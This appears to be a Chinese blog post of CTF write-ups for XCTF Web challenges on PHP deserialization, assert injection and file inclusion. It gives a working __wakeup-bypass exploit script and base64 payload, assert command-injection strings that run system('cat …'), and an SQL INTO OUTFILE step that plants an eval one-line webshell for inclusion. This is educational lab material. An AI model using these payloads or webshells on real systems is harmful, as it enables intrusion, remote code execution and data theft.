攻防世界Web区部分题解

    前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 。 而反序列化就是把字符串重新转换为 对象 , 类 , 数组 , 变量 , 匿名函数 。 通过这种相互转换 ,从而完成 数据持久化。

  谈到php的反序列化,就不能不说反序列化中的几种魔术方法,下面是文档中对于魔术方法的说明。

  下面看几种重要的魔术方法:

__wakeup方法

  unserialize()会先检查是否存在一个__wakeup()方法,如果__wakeup()方法存在,则会先调用__wakeup方法,预先准备对象需要的资源。比如完成对对象属性的赋值,创建对象的方法等等。

__toString方法

  将一个对象当做字符串进行处理时,会调用__toString方法进行处理。比如需要echo或者print一个对象的时候,就会调用__toString方法。

<?php
class TestClass
{
public $foo; public function __construct($foo)
{
$this->foo = $foo;
} public function __toString() {
return $this->foo;
}
} $class = new TestClass('Hello');
echo $class; // 运行结果:Hello
?>

  在上面的例子中,需要echo $class的时候,就会调用__toString方法,返回$this->foo,echo $class就会变成echo $this->foo。

__invoke方法

  当尝试以调用函数的方式调用一个对象时,__invoke方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)

<?php
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

  输出结果:

int(5)
bool(true)

__construct方法

  __construct常常作为构造函数出现在php中。每次创建新对象时会调用此方法,适合在函数开始创建的时候做一些初始化工作。 构造函数和析构函数

Web_php_unserialize

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

  源码如上所示,是一道考察反序列化的题目。这里应该是要绕过__wakeup的检测,在构造payload的时候,把fl4g.php传递进去,最后可以通过__destruct()把fl4g.php给打印出来。

  可以看到函数在后面进行参数传递的时候,也对我们要传递的参数做了一个简单的过滤,通过preg_match进行了正则过滤。'O:4'这种构造的payload会被过滤掉,所以这时候我们需要改动一下payload,用'+4'代替'4'来进行绕过。exp如下所示:

<?php
class Demo{
private $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
echo @highlight_file($this->file,true);
}
function __wakeup(){
if($this->file!='index.php'){
$this->file='index.php';
}
}
}
$A=new Demo('fl4g.php');
$C=serialize($A);
$C=str_replace('O:4','O:+4',$C);
$C=str_replace(':1:',':2:',$C);
var_dump($C);
var_dump(base64_encode($C)); ?>

最终的payload:

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

unserialize3

  进入环境,源码如下。

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

  这里也是调用了一个__wakeup的魔术方法,所以我们利用的思路,大体和前面一个题目一样。

<?php
class xctf{
public $flag='111';
public function __wakeup(){
exit('bad requests');
}
}
$A=new xctf();
$B=serialize($A);
$B=str_replace(':1:',':2:',$B);
var_dump($B);
var_dump(base64_encode($B));
?>

  上面两道题目实际上考察的都是同一个东西,__wakeup魔术方法在反序列化的时候,如果定义的参数数目大于实际字符串的数目,就会跳过__wakeup魔术方法的执行。

mfw

进入界面,题目提示git泄露,拖下源码后开始代码审计。

<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
} $file = "templates/" . $page . ".php"; // I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// assert会执行函数并且返回一个布尔值
// die输出一条消息,并退出当前脚本
// 返回字符串在上一个字符串中出现的位置,如果没有找到字符串则返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

一开始的时候,我尝试绕过strpos的检测,但是这道题目的考察点并不在这里。这道题目的断言函数在接受参数的时候,没有对接收的参数做一个审查,所以构造合理的话,可以实现一个命令执行的效果。assert()断言的函数定义在PHP5和PHP7中分别如下所示:

assert ( mixed $assertion [, string $description ] ) : bool
assert ( mixed $assertion [, Throwable $exception ] ) : bool

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

最后在url中构造的payload如下:

'.system("cat templates/flag.php").'

两个引号用来闭合'$file'中的前一个引号和后一个引号。

') or system("cat templates/flag.php");//

或者使用括号来对括号进行闭合。

Web_php_include

这道题我记录一种爆破目录,然后数据库传马的黑盒思路。其他几种都是基于php伪协议的思路,主要在于对strstr函数的大小写绕过上。

首先御剑扫描一下,发现phpmyadmin的登录页面,这时候,用bp的intruder模块来对目录进行爆破。得到登录密码为空。

登录进去的页面就如图所示,然后我们在这里写入木马,将一句话木马写入到"/tmp/hack.php"(linux下这个目录的权限一般是可写的),然后通过文件包含将这个文件写入到page变量中,用蚁剑进行连接。

select  "<?php eval($_POST['hack']);?>" into outfile "/tmp/hack.php"

写入数据库的payload。

/?page=/tmp/hack.php

最后得到flag。

这里可以写入一句话木马的原理可以再探究一下。phpmyadmin这里有一个全局变量secure-file-priv,这个全局变量是指定文件夹为导出文件的地方,默认情况下,secure-file-priv是一个空值(NULL),在phpmyadmin里面我们可以查看一下这个全局变量的值。

SHOW VARIABLES LIKE "secure_file_priv";

得到的结果如图所示:

为空值的时候,说明我们可以在可写文件夹下导入导出目录,也就是说我们可以在一些目录下写入一句话木马,同时通过文件包含,用蚁剑拿到webshell。

攻防世界Web区部分题解的更多相关文章

  1. 攻防世界web新手区

    攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...

  2. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  3. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  4. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

  5. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

  6. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

  7. 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...

  8. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

  9. 攻防世界 WEB 高手进阶区 upload1 Writeup

    攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进 ...

随机推荐

  1. javascript之强制类型转换

    在javascript中,常会发生强制类型转换的情况有以下几种 字符串拼接 var a = 1; var b = a + '1'; console.log(b); //11 ==运算符 var a = ...

  2. 由ASP.NET Core WebApi添加Swagger报错引发的探究

    缘起 在使用ASP.NET Core进行WebApi项目开发的时候,相信很多人都会使用Swagger作为接口文档呈现工具.相信大家也用过或者了解过Swagger,这里咱们就不过多的介绍了.本篇文章记录 ...

  3. Maven:Maven的project标签报错红线

    作者在外网完成demo项目,把Maven的本地库打成压缩包放进内网时,Maven的project标签报错红线,且别的依赖不报错,同时Maven不引入本地仓库的依赖包. 解决方法: 进入自己的Maven ...

  4. Mysql/Oracle/达梦中数据字典表

    在mysql中,数据字典表存放在information_schema库中,,对应的两张表,分别是TABLES,和COLUMNS. 在oracle中有表空间(即用户空间或者库)和模式的概念.模式和表空间 ...

  5. ROS2学习之旅(14)——编写简单的发布者和订阅者(C++)

    节点是通过ROS Graph进行通信的可执行进程.在本文中,节点将通过话题以字符串消息的形式相互传递信息.这里使用的例子是一个简单的"talker"和"listener& ...

  6. CF1539B Love Song[题解]

    Love Song 题目大意 给定长度为 \(n\) 的字符串和 \(q\) 个区间 \([l,r]\) .定义一个字符的值为该字母在字母表中的序号,对于给定的每个区间,求其中所有字符的值的和. 分析 ...

  7. C语言:清空缓冲区

    缓冲区的优点很明显,它加快了程序的运行速度,减少了硬件的读写次数,让整个计算机变得流畅起来:但是,缓冲区也带来了一些负面影响,经过前面几节的学习相信读者也见识到了.那么,该如何消除这些负面影响呢?思路 ...

  8. Java程序设计当堂测试 9.20

    /*Java当堂测试 ATM机模拟系统由于学习的知识有限,不能完成所有课上项目,文件的应用没有完成,汇款转账功能也没有写,一些要求该退出的地方也没有写,基本功能还算完善*/ 1 package acc ...

  9. Java基础00-方法引用32

    1. 方法引用 Java8新特征之方法引用 1.1 体验方法引用 代码示例: 需求: 1:定义一个接口(Printable):里面定义一个抽象方法: void printString(String s ...

  10. [刘阳Java]_MyBatis_其他方式来实现多表查询的操作_第9讲

    MyBatis其他方式来实现多表查询的操作 利用Java中的集合框架(List,Map) 其中List存储多个查询返回的记录 Map查询返回字段,同时记录表中一条数据 <?xml version ...